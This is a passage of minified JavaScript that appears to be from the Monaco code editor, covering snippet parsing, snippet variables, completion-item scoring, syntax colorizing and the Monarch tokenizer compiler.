t,n=this.pos,o=0,r=this.value.charCodeAt(n);if(\"number\"==typeof(t=e._table[r]))return this.pos+=1,{type:t,pos:n,len:1};if(e.isDigitCharacter(r)){t=i.Int;do{o+=1,r=this.value.charCodeAt(n+o)}while(e.isDigitCharacter(r));return this.pos+=o,{type:t,pos:n,len:o}}if(e.isVariableCharacter(r)){t=i.VariableName;do{r=this.value.charCodeAt(n+ ++o)}while(e.isVariableCharacter(r)||e.isDigitCharacter(r));return this.pos+=o,{type:t,pos:n,len:o}}t=i.Format;do{o+=1,r=this.value.charCodeAt(n+o)}while(!isNaN(r)&&void 0===e._table[r]&&!e.isDigitCharacter(r)&&!e.isVariableCharacter(r));return this.pos+=o,{type:t,pos:n,len:o}},e._table=(h={},h[36]=i.Dollar,h[58]=i.Colon,h[44]=i.Comma,h[123]=i.CurlyOpen,h[125]=i.CurlyClose,h[92]=i.Backslash,h[47]=i.Forwardslash,h[124]=i.Pipe,h),e}();t.Scanner=o;var r=function(){function e(){this._children=[]}return e.prototype.appendChild=function(e){return e instanceof s&&this._children[this._children.length-1]instanceof s?this._children[this._children.length-1].value+=e.value:(e.parent=this,this._children.push(e)),this},e.prototype.replace=function(e,t){var n=e.parent,i=n.children.indexOf(e),o=n.children.slice(0);o.splice.apply(o,[i,1].concat(t)),n._children=o,t.forEach(function(e){return e.parent=n})},Object.defineProperty(e.prototype,\"children\",{get:function(){return this._children},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"snippet\",{get:function(){for(var e=this;;){if(!e)return;if(e instanceof c)return e;e=e.parent}},enumerable:!0,configurable:!0}),e.prototype.toString=function(){return this.children.reduce(function(e,t){return e+t.toString()},\"\")},e.prototype.len=function(){return 0},e}();t.Marker=r;var s=function(e){function t(t){var n=e.call(this)||this;return n.value=t,n}return f(t,e),t.prototype.toString=function(){return this.value},t.prototype.toTextmateString=function(){return this.value.replace(/\\$|}|\\\\/g,\"\\\\$&\")},t.prototype.len=function(){return this.value.length},t.prototype.clone=function(){return new t(this.value)},t}(r);t.Text=s;var a=function(e){function t(t){var n=e.call(this)||this;return n.index=t,n}return f(t,e),t.compareByIndex=function(e,t){return e.index===t.index?0:e.isFinalTabstop?1:t.isFinalTabstop?-1:e.index<t.index?-1:e.index>t.index?1:0},Object.defineProperty(t.prototype,\"isFinalTabstop\",{get:function(){return 0===this.index},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"choice\",{get:function(){return 1===this._children.length&&this._children[0]instanceof u?this._children[0]:void 0},enumerable:!0,configurable:!0}),t.prototype.toTextmateString=function(){return 0===this.children.length?\"$\"+this.index:this.choice?\"${\"+this.index+\"|\"+this.choice.toTextmateString()+\"|}\":\"${\"+this.index+\":\"+this.children.map(function(e){return e.toTextmateString()}).join(\"\")+\"}\"},t.prototype.clone=function(){var e=new t(this.index);return e._children=this.children.map(function(e){return e.clone()}),e},t}(r);t.Placeholder=a;var u=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.options=[],t}return f(t,e),t.prototype.appendChild=function(e){return e instanceof s&&(e.parent=this,this.options.push(e)),this},t.prototype.toString=function(){return this.options[0].value},t.prototype.toTextmateString=function(){return this.options.map(function(e){return e.value.replace(/\\||,/g,\"\\\\$&\")}).join(\",\")},t.prototype.len=function(){return this.options[0].len()},t.prototype.clone=function(){var e=new t;return this.options.forEach(e.appendChild,e),e},t}(r);t.Choice=u;var l=function(e){function t(t){var n=e.call(this)||this;return n.name=t,n}return f(t,e),t.prototype.resolve=function(e){var t=e.resolve(this);return void 0!==t&&(this._children=[new s(t)],!0)},t.prototype.toTextmateString=function(){return 0===this.children.length?\"${\"+this.name+\"}\":\"${\"+this.name+\":\"+this.children.map(function(e){return e.toTextmateString()}).join(\"\")+\"}\"},t.prototype.clone=function(){var e=new t(this.name);return e._children=this.children.map(function(e){return e.clone()}),e},t}(r);t.Variable=l;var c=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),Object.defineProperty(t.prototype,\"placeholders\",{get:function(){var e=this;return this._placeholders||(this._placeholders=[],this.walk(function(t){return t instanceof a&&e.placeholders.push(t),!0})),this._placeholders},enumerable:!0,configurable:!0}),t.prototype.offset=function(e){var t=0,n=!1;return this.walk(function(i){return i===e?(n=!0,!1):(t+=i.len(),!0)}),n?t:-1},t.prototype.fullLen=function(e){var t=0;return n([e],function(e){return t+=e.len(),!0}),t},t.prototype.enclosingPlaceholders=function(e){for(var t=[],n=e.parent;n;)n instanceof a&&t.push(n),n=n.parent;return t},t.prototype.resolveVariables=function(e){var t=this;return this.walk(function(n){return n instanceof l&&n.resolve(e)&&(t._placeholders=void 0),!0}),this},t.prototype.appendChild=function(t){return this._placeholders=void 0,e.prototype.appendChild.call(this,t)},t.prototype.replace=function(t,n){return this._placeholders=void 0,e.prototype.replace.call(this,t,n)},t.prototype.toTextmateString=function(){return this.children.reduce(function(e,t){return e+t.toTextmateString()},\"\")},t.prototype.clone=function(){var e=new t;return this._children=this.children.map(function(e){return e.clone()}),e},t.prototype.walk=function(e){n(this.children,e)},t}(r);t.TextmateSnippet=c;var d=function(){function e(){this._scanner=new o}return e.escape=function(e){return e.replace(/\\$|}|\\\\/g,\"\\\\$&\")},e.prototype.text=function(e){return this.parse(e).toString()},e.prototype.parse=function(e,t,n){this._scanner.text(e),this._token=this._scanner.next();for(var i=new c;this._parse(i););var o=new Map,r=[];i.walk(function(e){return e instanceof a&&(e.isFinalTabstop?o.set(0):!o.has(e.index)&&e.children.length>0?o.set(e.index,e.children):r.push(e)),!0});for(var s=0,u=r;s<u.length;s++){var l=u[s];if(o.has(l.index)){for(var d=new a(l.index),h=0,p=o.get(l.index);h<p.length;h++){var f=p[h];d.appendChild(f.clone())}i.replace(l,[d])}}return!o.has(0)&&(t&&o.size>0||n)&&i.appendChild(new a(0)),i},e.prototype._accept=function(e,t){if(void 0===e||this._token.type===e){var n=!t||this._scanner.tokenText(this._token);return this._token=this._scanner.next(),n}return!1},e.prototype._backTo=function(e){return this._scanner.pos=e.pos+e.len,this._token=e,!1},e.prototype._parse=function(e){return this._parseEscaped(e)||this._parseTabstopOrVariableName(e)||this._parseComplexPlaceholder(e)||this._parseComplexVariable(e)||this._parseAnything(e)},e.prototype._parseEscaped=function(e){var t;return!!(t=this._accept(i.Backslash,!0))&&(t=this._accept(i.Dollar,!0)||this._accept(i.CurlyClose,!0)||this._accept(i.Backslash,!0)||t,e.appendChild(new s(t)),!0)},e.prototype._parseTabstopOrVariableName=function(e){var t,n=this._token;return this._accept(i.Dollar)&&(t=this._accept(i.VariableName,!0)||this._accept(i.Int,!0))?(e.appendChild(/^\\d+$/.test(t)?new a(Number(t)):new l(t)),!0):this._backTo(n)},e.prototype._parseComplexPlaceholder=function(e){var t,n=this._token;if(!(this._accept(i.Dollar)&&this._accept(i.CurlyOpen)&&(t=this._accept(i.Int,!0))))return this._backTo(n);var o=new a(Number(t));if(this._accept(i.Colon))for(;;){if(this._accept(i.CurlyClose))return e.appendChild(o),!0;if(!this._parse(o))return e.appendChild(new s(\"${\"+t+\":\")),o.children.forEach(e.appendChild,e),!0}else{if(!this._accept(i.Pipe))return this._accept(i.CurlyClose)?(e.appendChild(o),!0):this._backTo(n);for(var r=new u;;){if(this._parseChoiceElement(r)){if(this._accept(i.Comma))continue;if(this._accept(i.Pipe)&&this._accept(i.CurlyClose))return o.appendChild(r),e.appendChild(o),!0}return this._backTo(n),!1}}},e.prototype._parseChoiceElement=function(e){for(var t=this._token,n=[];;){if(this._token.type===i.Comma||this._token.type===i.Pipe)break;var o=void 0;if(!(o=(o=this._accept(i.Backslash,!0))?this._accept(i.Comma,!0)||this._accept(i.Pipe,!0)||o:this._accept(void 0,!0)))return this._backTo(t),!1;n.push(o)}return 0===n.length?(this._backTo(t),!1):(e.appendChild(new s(n.join(\"\"))),!0)},e.prototype._parseComplexVariable=function(e){var t,n=this._token;if(!(this._accept(i.Dollar)&&this._accept(i.CurlyOpen)&&(t=this._accept(i.VariableName,!0))))return this._backTo(n);var o=new l(t);if(!this._accept(i.Colon))return this._accept(i.CurlyClose)?(e.appendChild(o),!0):this._backTo(n);for(;;){if(this._accept(i.CurlyClose))return e.appendChild(o),!0;if(!this._parse(o))return e.appendChild(new s(\"${\"+t+\":\")),o.children.forEach(e.appendChild,e),!0}},e.prototype._parseAnything=function(e){return this._token.type!==i.EOF&&(e.appendChild(new s(this._scanner.tokenText(this._token))),this._accept(void 0),!0)},e}();t.SnippetParser=d;var h}),define(d[271],h([1,0,45,142,9]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t){this._model=e,this._selection=t}return e.prototype.resolve=function(e){var t=e.name;if(\"SELECTION\"===t||\"TM_SELECTED_TEXT\"===t){var r=this._model.getValueInRange(this._selection)||void 0;if(r&&this._selection.startLineNumber!==this._selection.endLineNumber){var s=this._model.getLineContent(this._selection.startLineNumber),a=o.getLeadingWhitespace(s,0,this._selection.startColumn-1),u=a;e.snippet.walk(function(t){return t!==e&&(t instanceof i.Text&&(u=o.getLeadingWhitespace(t.value.split(/\\r\\n|\\r|\\n/).pop())),!0)});var l=o.commonPrefixLength(u,a);r=r.replace(/(\\r\\n|\\r|\\n)(.*)/g,function(e,t,n){return\"\"+t+u.substr(l)+n})}return r}if(\"TM_CURRENT_LINE\"===t)return this._model.getLineContent(this._selection.positionLineNumber);if(\"TM_CURRENT_WORD\"===t){var c=this._model.getWordAtPosition({lineNumber:this._selection.positionLineNumber,column:this._selection.positionColumn});return c&&c.word||void 0}if(\"TM_LINE_INDEX\"===t)return String(this._selection.positionLineNumber-1);if(\"TM_LINE_NUMBER\"===t)return String(this._selection.positionLineNumber);if(\"TM_FILENAME\"===t)return n.basename(this._model.uri.fsPath);if(\"TM_DIRECTORY\"===t){var d=n.dirname(this._model.uri.fsPath);return\".\"!==d?d:\"\"}return\"TM_FILEPATH\"===t?this._model.uri.fsPath:void 0},e.VariableNames=Object.freeze({SELECTION:!0,TM_SELECTED_TEXT:!0,TM_CURRENT_LINE:!0,TM_CURRENT_WORD:!0,TM_LINE_INDEX:!0,TM_LINE_NUMBER:!0,TM_FILENAME:!0,TM_DIRECTORY:!0,TM_FILEPATH:!0}),e}();t.EditorSnippetVariableResolver=r}),define(d[272],h([1,0,81]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){return function(){}}();t.LineContext=i;var o=function(){function e(t,n,i,o){this._snippetCompareFn=e._compareCompletionItems,this._items=t,this._column=n,this._lineContext=i,\"top\"===o?this._snippetCompareFn=e._compareCompletionItemsSnippetsUp:\"bottom\"===o&&(this._snippetCompareFn=e._compareCompletionItemsSnippetsDown)}return Object.defineProperty(e.prototype,\"lineContext\",{get:function(){return this._lineContext},set:function(e){this._lineContext.leadingLineContent===e.leadingLineContent&&this._lineContext.characterCountDelta===e.characterCountDelta||(this._lineContext=e,this._filteredItems=void 0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"items\",{get:function(){return this._ensureCachedState(),this._filteredItems},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"incomplete\",{get:function(){return this._ensureCachedState(),this._isIncomplete},enumerable:!0,configurable:!0}),e.prototype.resolveIncompleteInfo=function(){for(var e=[],t=[],n=0,i=this._items;n<i.length;n++){var o=i[n];o.container.incomplete?e.indexOf(o.support)<0&&e.push(o.support):t.push(o)}return{incomplete:e,complete:t}},Object.defineProperty(e.prototype,\"stats\",{get:function(){return this._ensureCachedState(),this._stats},enumerable:!0,configurable:!0}),e.prototype._ensureCachedState=function(){this._filteredItems||this._createCachedState()},e.prototype._createCachedState=function(){this._filteredItems=[],this._isIncomplete=!1,this._stats={suggestionCount:0,snippetCount:0,textCount:0};for(var e=this._lineContext,t=e.leadingLineContent,i=e.characterCountDelta,o=\"\",r=0;r<this._items.length;r++){var s=this._items[r],a=s.suggestion,u=s.container;this._isIncomplete=this._isIncomplete||u.incomplete;var l=a.overwriteBefore+i-(s.position.column-this._column);if(o.length!==l&&(o=0===l?\"\":t.slice(-l)),0===l)s.score=-100;else if(\"string\"==typeof a.filterText){if(!(c=n.fuzzyScore(o,a.filterText,a.overwriteBefore)))continue;s.score=c[0],s.matches=[],(c=n.fuzzyScore(o,a.label,a.overwriteBefore))&&(s.matches=c[1])}else{var c=n.fuzzyScore(o,a.label,a.overwriteBefore);if(!c)continue;s.score=c[0],s.matches=c[1]}switch(s.idx=r,this._filteredItems.push(s),this._stats.suggestionCount++,a.type){case\"snippet\":this._stats.snippetCount++;break;case\"text\":this._stats.textCount++}}this._filteredItems.sort(this._snippetCompareFn)},e._compareCompletionItems=function(e,t){return e.score>t.score?-1:e.score<t.score?1:e.idx<t.idx?-1:e.idx>t.idx?1:0},e._compareCompletionItemsSnippetsDown=function(t,n){if(t.suggestion.type!==n.suggestion.type){if(\"snippet\"===t.suggestion.type)return 1;if(\"snippet\"===n.suggestion.type)return-1}return e._compareCompletionItems(t,n)},e._compareCompletionItemsSnippetsUp=function(t,n){if(t.suggestion.type!==n.suggestion.type){if(\"snippet\"===t.suggestion.type)return-1;if(\"snippet\"===n.suggestion.type)return 1}return e._compareCompletionItems(t,n)},e}();t.CompletionModel=o}),define(d[273],h([1,0,7,17,106,90,130,9]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e,t,n){return c(e,t,n)}function l(e,t){for(var n=[],i=0,s=e.length;i<s;i++){var a=e[i],u=o.renderViewLine(new o.RenderLineInput(!1,a,!1,0,[new r.ViewLineToken(a.length,16793600)],[],t,0,-1,\"none\",!1,!1));(n=n.concat(u.html)).push(\"<br/>\")}return n.join(\"\")}function c(e,t,n){for(var i=[],r=n.getInitialState(),a=0,u=e.length;a<u;a++){var l=e[a],c=n.tokenize2(l,r,0),d=new s.LineTokens(c.tokens,l),h=o.renderViewLine(new o.RenderLineInput(!1,l,!0,0,d.inflate(),[],t,0,-1,\"none\",!1,!1));(i=i.concat(h.html)).push(\"<br/>\"),r=c.endState}return i.join(\"\")}Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(){}return e.colorizeElement=function(e,t,n,i){var o=(i=i||{}).theme||\"vs\",r=i.mimeType||n.getAttribute(\"lang\")||n.getAttribute(\"data-lang\");if(r){e.setTheme(o);var s=n.firstChild.nodeValue;n.className+=\"monaco-editor \"+o;var a=function(e){n.innerHTML=e};return this.colorize(t,s,r,i).then(a,function(e){return console.error(e)},a)}console.error(\"Mode not detected\")},e._tokenizationSupportChangedPromise=function(e){var t=null,o=function(){t&&(t.dispose(),t=null)};return new n.TPromise(function(n,r,s){t=i.TokenizationRegistry.onDidChange(function(t){t.changedLanguages.indexOf(e)>=0&&(o(),n(void 0))})},o)},e.colorize=function(e,t,o,r){a.startsWithUTF8BOM(t)&&(t=t.substr(1));var s=t.split(/\\r\\n|\\r|\\n/),c=e.getModeId(o);void 0===(r=r||{}).tabSize&&(r.tabSize=4),e.getOrCreateMode(c);var d=i.TokenizationRegistry.get(c);return d?n.TPromise.as(u(s,r.tabSize,d)):n.TPromise.any([this._tokenizationSupportChangedPromise(c),n.TPromise.timeout(500)]).then(function(e){var t=i.TokenizationRegistry.get(c);return t?u(s,r.tabSize,t):l(s,r.tabSize)})},e.colorizeLine=function(e,t,n,i){return void 0===i&&(i=4),o.renderViewLine(new o.RenderLineInput(!1,e,t,0,n,[],i,0,-1,\"none\",!1,!1)).html},e.colorizeModelLine=function(e,t,n){void 0===n&&(n=4);var i=e.getLineContent(t);e.forceTokenization(t);var o=e.getLineTokens(t).inflate();return this.colorizeLine(i,e.mightContainRTL(),o,n)},e}();t.Colorizer=d}),define(d[145],h([1,0]),function(e,t){\"use strict\";function n(e){return Array.isArray(e)}function i(e){return\"string\"==typeof e}function o(e){return!e}function r(e,t){return e.ignoreCase&&t?t.toLowerCase():t}Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.None=0]=\"None\",e[e.Open=1]=\"Open\",e[e.Close=-1]=\"Close\"}(t.MonarchBracket||(t.MonarchBracket={})),t.isFuzzyActionArr=n,t.isFuzzyAction=function(e){return!n(e)},t.isString=i,t.isIAction=function(e){return!i(e)},t.empty=o,t.fixCase=r,t.sanitize=function(e){return e.replace(/[&<>'\"_]/g,\"-\")},t.log=function(e,t){console.log(e.languageId+\": \"+t)},t.throwError=function(e,t){throw new Error(e.languageId+\": \"+t)},t.substituteMatches=function(e,t,n,i,s){var a=/\\$((\\$)|(#)|(\\d\\d?)|[sS](\\d\\d?)|@(\\w+))/g,u=null;return t.replace(a,function(t,a,l,c,d,h,p,f,g){return o(l)?o(c)?!o(d)&&d<i.length?r(e,i[d]):!o(p)&&e&&\"string\"==typeof e[p]?e[p]:(null===u&&(u=s.split(\".\")).unshift(s),!o(h)&&h<u.length?r(e,u[h]):\"\"):r(e,n):\"$\"})},t.findRules=function(e,t){for(;t&&t.length>0;){var n=e.tokenizer[t];if(n)return n;var i=t.lastIndexOf(\".\");t=i<0?null:t.substr(0,i)}return null},t.stateExists=function(e,t){for(;t&&t.length>0;){if(e.stateNames[t])return!0;var n=t.lastIndexOf(\".\");t=n<0?null:t.substr(0,n)}return!1}}),define(d[275],h([1,0,26,145]),function(e,t,n,i){\"use strict\";function o(e,t){if(!t)return!1;if(!Array.isArray(t))return!1;var n;for(n in t)if(t.hasOwnProperty(n)&&!e(t[n]))return!1;return!0}function r(e,t,n){return\"boolean\"==typeof e?e:(n&&(e||void 0===t)&&n(),void 0===t?null:t)}function s(e,t,n){return\"string\"==typeof e?e:(n&&(e||void 0===t)&&n(),void 0===t?null:t)}function a(e,t){if(\"string\"!=typeof t)return null;for(var n=0;t.indexOf(\"@\")>=0&&n<5;)n++,t=t.replace(/@(\\w+)/g,function(n,o){var r=\"\";return\"string\"==typeof e[o]?r=e[o]:e[o]&&e[o]instanceof RegExp?r=e[o].source:void 0===e[o]?i.throwError(e,\"language definition does not contain attribute '\"+o+\"', used at: \"+t):i.throwError(e,\"attribute reference '\"+o+\"' must be a string, used at: \"+t),i.empty(r)?\"\":\"(?:\"+r+\")\"});return new RegExp(t,e.ignoreCase?\"i\":\"\")}function u(e,t,n,i){if(i<0)return e;if(i<t.length)return t[i];if(i>=100){i-=100;var o=n.split(\".\");if(o.unshift(n),i<o.length)return o[i]}return null}function l(e,t,r,s){var l=-1,c=r,d=r.match(/^\\$(([sS]?)(\\d\\d?)|#)(.*)$/);d&&(d[3]&&(l=parseInt(d[3]),d[2]&&(l+=100)),c=d[4]);var h=\"~\",p=c;c&&0!==c.length?/^\\w*$/.test(p)?h=\"==\":(d=c.match(/^(@|!@|~|!~|==|!=)(.*)$/))&&(h=d[1],p=d[2]):(h=\"!=\",p=\"\");var f;if(\"~\"!==h&&\"!~\"!==h||!/^(\\w|\\|)*$/.test(p))if(\"@\"===h||\"!@\"===h){var g=e[p];g||i.throwError(e,\"the @ match target '\"+p+\"' is not defined, in rule: \"+t),o(function(e){return\"string\"==typeof e},g)||i.throwError(e,\"the @ match target '\"+p+\"' must be an array of strings, in rule: \"+t);_=n.createKeywordMatcher(g,e.ignoreCase);f=function(e){return\"@\"===h?_(e):!_(e)}}else if(\"~\"===h||\"!~\"===h)if(p.indexOf(\"$\")<0){var m=a(e,\"^\"+p+\"$\");f=function(e){return\"~\"===h?m.test(e):!m.test(e)}}else f=function(t,n,o,r){return a(e,\"^\"+i.substituteMatches(e,p,n,o,r)+\"$\").test(t)};else if(p.indexOf(\"$\")<0){v=i.fixCase(e,p);f=function(e){return\"==\"===h?e===v:e!==v}}else{var v=i.fixCase(e,p);f=function(t,n,o,r,s){var a=i.substituteMatches(e,v,n,o,r);return\"==\"===h?t===a:t!==a}}else{var _=n.createKeywordMatcher(p.split(\"|\"),e.ignoreCase);f=function(e){return\"~\"===h?_(e):!_(e)}}return-1===l?{name:r,value:s,test:function(e,t,n,i){return f(e,e,t,n,i)}}:{name:r,value:s,test:function(e,t,n,i){var o=u(e,t,n,l);return f(o||\"\",e,t,n,i)}}}function c(e,t,n){if(n){if(\"string\"==typeof n)return n;if(n.token||\"\"===n.token){if(\"string\"!=typeof n.token)return i.throwError(e,\"a 'token' attribute must be of type string, in rule: \"+t),{token:\"\"};var o={token:n.token};if(n.token.indexOf(\"$\")>=0&&(o.tokenSubst=!0),\"string\"==typeof n.bracket&&(\"@open\"===n.bracket?o.bracket=1:\"@close\"===n.bracket?o.bracket=-1:i.throwError(e,\"a 'bracket' attribute must be either '@open' or '@close', in rule: \"+t)),n.next)if(\"string\"!=typeof n.next)i.throwError(e,\"the next state must be a string value in rule: \"+t);else{var r=n.next;/^(@pop|@push|@popall)$/.test(r)||(\"@\"===r[0]&&(r=r.substr(1)),r.indexOf(\"$\")<0&&(i.stateExists(e,i.substituteMatches(e,r,\"\",[],\"\"))||i.throwError(e,\"the next state '\"+n.next+\"' is not defined in rule: \"+t))),o.next=r}return\"number\"==typeof n.goBack&&(o.goBack=n.goBack),\"string\"==typeof n.switchTo&&(o.switchTo=n.switchTo),\"string\"==typeof n.log&&(o.log=n.log),\"string\"==typeof n.nextEmbedded&&(o.nextEmbedded=n.nextEmbedded,e.usesEmbedded=!0),o}if(Array.isArray(n)){var s,a=[];for(s in n)n.hasOwnProperty(s)&&(a[s]=c(e,t,n[s]));return{group:a}}if(n.cases){var u,d=[];for(u in n.cases)if(n.cases.hasOwnProperty(u)){var h=c(e,t,n.cases[u]);\"@default\"===u||\"@\"===u||\"\"===u?d.push({test:null,value:h,name:u}):\"@eos\"===u?d.push({test:function(e,t,n,i){return i},value:h,name:u}):d.push(l(e,t,u,h))}var p=e.defaultToken;return{test:function(e,t,n,i){var o;for(o in d)if(d.hasOwnProperty(o)&&(!d[o].test||d[o].test(e,t,n,i)))return d[o].value;return p}}}return i.throwError(e,\"an action must be a string, an object with a 'token' or 'cases' attribute, or an array of actions; in rule: \"+t),\"\"}return{token:\"\"}}Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e){this.regex=new RegExp(\"\"),this.action={token:\"\"},this.matchOnlyAtLineStart=!1,this.name=\"\",this.name=e}return e.prototype.setRegex=function(e,t){var n;\"string\"==typeof t?n=t:t instanceof RegExp?n=t.source:i.throwError(e,\"rules must start with a match string or regular expression: \"+this.name),this.matchOnlyAtLineStart=n.length>0&&\"^\"===n[0],this.name=this.name+\": \"+n,this.regex=a(e,\"^(?:\"+(this.matchOnlyAtLineStart?n.substr(1):n)+\")\")},e.prototype.setAction=function(e,t){this.action=c(e,this.name,t)},e}();t.compile=function(e,t){function n(e,u,l){var c;for(c in l)if(l.hasOwnProperty(c)){var h=l[c],p=h.include;if(p)\"string\"!=typeof p&&i.throwError(o,\"an 'include' attribute must be a string at: \"+e),\"@\"===p[0]&&(p=p.substr(1)),t.tokenizer[p]||i.throwError(o,\"include target '\"+p+\"' is not defined at: \"+e),n(e+\".\"+p,u,t.tokenizer[p]);else{var f=new d(e);if(Array.isArray(h)&&h.length>=1&&h.length<=3)if(f.setRegex(a,h[0]),h.length>=3)if(\"string\"==typeof h[1])f.setAction(a,{token:h[1],next:h[2]});else if(\"object\"==typeof h[1]){var g=h[1];g.next=h[2],f.setAction(a,g)}else i.throwError(o,\"a next state as the last element of a rule can only be given if the action is either an object or a string, at: \"+e);else f.setAction(a,h[1]);else h.regex||i.throwError(o,\"a rule must either be an array, or an object with a 'regex' or 'include' field at: \"+e),h.name&&(f.name=s(h.name)),h.matchOnlyAtStart&&(f.matchOnlyAtLineStart=r(h.matchOnlyAtLineStart)),f.setRegex(a,h.regex),f.setAction(a,h.action);u.push(f)}}}if(!t||\"object\"!=typeof t)throw new Error(\"Monarch: expecting a language definition object\");var o={};o.languageId=e,o.noThrow=!1,o.maxStack=100,o.start=s(t.start),o.ignoreCase=r(t.ignoreCase,!1),o.tokenPostfix=s(t.tokenPostfix,\".\"+o.languageId),o.defaultToken=s(t.defaultToken,\"source\",function(){i.throwError(o,\"the 'defaultToken' must be a string\")}),o.usesEmbedded=!1;var a=t;a.languageId=e,a.ignoreCase=o.ignoreCase,a.noThrow=o.noThrow,a.usesEmbedded=o.usesEmbedded,a.stateNames=t.tokenizer,a.defaultToken=o.defaultToken,t.tokenizer&&\"object\"==typeof t.tokenizer||i.throwError(o,\"a language definition must define the 'tokenizer' attribute as an object\"),o.tokenizer=[];var u;for(u in t.tokenizer)if(t.tokenizer.hasOwnProperty(u)){o.start||(o.start=u);var l=t.tokenizer[u];o.tokenizer[u]=new Array,n(\"tokenizer.\"+u,o.tokenizer[u],l)}o.usesEmbedded=a.usesEmbedded,t.brackets?Array.isArray(t.brackets)||i.throwError(o,\"the 'brackets' attribute must be defined as an array\"):t.brackets=[{open:\"{\",close:\"}\",token:\"delimiter.curly\"},{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"},{open:\"<\",close:\">\",token:\"delimiter.angle\"}];var c=[];for(var h in t.brackets)if(t.brackets.hasOwnProperty(h)){var p=t.brackets[h];p&&Array.isArray(p)&&3===p.length&&(p={token:p[2],open:p[0],close:p[1]}),p.open===p.close&&i.throwError(o,\"open and close brackets in a 'brackets' attribute must be different: \"+p.open+\"\\n hint: use the 'bracket' attribute if matching on equal brackets is required.\"),\"string\"==typeof p.open&&\"string\"==typeof p.token?c.push({token:s(p.token)+o.tokenPostfix,open:i.fixCase(o,s(p.open)),close:i.fixCase(o,s(p.close))}):i.throwError(o,\"every element in the 'brackets' array must be a '{open,close,token}' object or array\")}return o.brackets=c,o.noThrow=!0,o}}),define(d[276],h([1,0,17,145,97,68]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){if(!t)return null;t=i.fixCase(e,t);for(var n=e.brackets,o=0;o<n.length;o++){var r=n[o];if(r.open===t)return{token:r.token,bracketType:1};if(r.close===t)return{token:r.token,bracketType:-1}}return null}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e){this._maxCacheDepth=e,this._entries=Object.create(null)}return e.create=function(e,t){return this._INSTANCE.create(e,t)},e.prototype.create=function(e,t){if(null!==e&&e.depth>=this._maxCacheDepth)return new u(e,t);var n=u.getStackElementId(e);n.length>0&&(n+=\"|\"),n+=t;var i=this._entries[n];return i||(i=new u(e,t),this._entries[n]=i,i)},e._INSTANCE=new e(5),e}(),u=function(){function e(e,t){this.parent=e,this.state=t,this.depth=(this.parent?this.parent.depth:0)+1}return e.getStackElementId=function(e){for(var t=\"\";null!==e;)t.length>0&&(t+=\"|\"),t+=e.state,e=e.parent;return t},e._equals=function(e,t){for(;null!==e&&null!==t;){if(e===t)return!0;if(e.state!==t.state)return!1;e=e.parent,t=t.parent}return null===e&&null===t},e.prototype.equals=function(t){return e._equals(this,t)},e.prototype.push=function(e){return a.create(this,e)},e.prototype.pop=function(){return this.parent},e.prototype.popall=function(){for(var e=this;e.parent;)e=e.parent;return e},e.prototype.switchTo=function(e){return a.create(this.parent,e)},e}(),l=function(){function e(e,t){this.modeId=e,this.state=t}return e.prototype.equals=function(e){return this.modeId===e.modeId&&this.state.equals(e.state)},e.prototype.clone=function(){return this.state.clone()===this.state?this:new e(this.modeId,this.state)},e}(),c=function(){function e(e){this._maxCacheDepth=e,this._entries=Object.create(null)}return e.create=function(e,t){return this._INSTANCE.create(e,t)},e.prototype.create=function(e,t){if(null!==t)return new d(e,t);if(null!==e&&e.depth>=this._maxCacheDepth)return new d(e,t);var n=u.getStackElementId(e),i=this._entries[n];return i||(i=new d(e,null),this._entries[n]=i,i)},e._INSTANCE=new e(5),e}(),d=function(){function e(e,t){this.stack=e,this.embeddedModeData=t}return e.prototype.clone=function(){return(this.embeddedModeData?this.embeddedModeData.clone():null)===this.embeddedModeData?this:c.create(this.stack,this.embeddedModeData)},e.prototype.equals=function(t){return t instanceof e&&(!!this.stack.equals(t.stack)&&(null===this.embeddedModeData&&null===t.embeddedModeData||null!==this.embeddedModeData&&null!==t.embeddedModeData&&this.embeddedModeData.equals(t.embeddedModeData)))},e}(),h=Object.hasOwnProperty,p=function(){function e(){this._tokens=[],this._language=null,this._lastTokenType=null,this._lastTokenLanguage=null}return e.prototype.enterMode=function(e,t){this._language=t},e.prototype.emit=function(e,t){this._lastTokenType===t&&this._lastTokenLanguage===this._language||(this._lastTokenType=t,this._lastTokenLanguage=this._language,this._tokens.push(new o.Token(e,t,this._language)))},e.prototype.nestedModeTokenize=function(e,t,i){var o=t.modeId,r=t.state,s=n.TokenizationRegistry.get(o);if(!s)return this.enterMode(i,o),this.emit(i,\"\"),r;var a=s.tokenize(e,r,i);return this._tokens=this._tokens.concat(a.tokens),this._lastTokenType=null,this._lastTokenLanguage=null,this._language=null,a.endState},e.prototype.finalize=function(e){return new o.TokenizationResult(this._tokens,e)},e}(),f=function(){function e(e,t){this._modeService=e,this._theme=t,this._prependTokens=null,this._tokens=[],this._currentLanguageId=0,this._lastTokenMetadata=0}return e.prototype.enterMode=function(e,t){this._currentLanguageId=this._modeService.getLanguageIdentifier(t).id},e.prototype.emit=function(e,t){var n=this._theme.match(this._currentLanguageId,t);this._lastTokenMetadata!==n&&(this._lastTokenMetadata=n,this._tokens.push(e),this._tokens.push(n))},e._merge=function(e,t,n){var i=null!==e?e.length:0,o=t.length,r=null!==n?n.length:0;if(0===i&&0===o&&0===r)return new Uint32Array(0);if(0===i&&0===o)return n;if(0===o&&0===r)return e;var s=new Uint32Array(i+o+r);null!==e&&s.set(e);for(var a=0;a<o;a++)s[i+a]=t[a];return null!==n&&s.set(n,i+o),s},e.prototype.nestedModeTokenize=function(t,i,o){var r=i.modeId,s=i.state,a=n.TokenizationRegistry.get(r);if(!a)return this.enterMode(o,r),this.emit(o,\"\"),s;var u=a.tokenize2(t,s,o);return 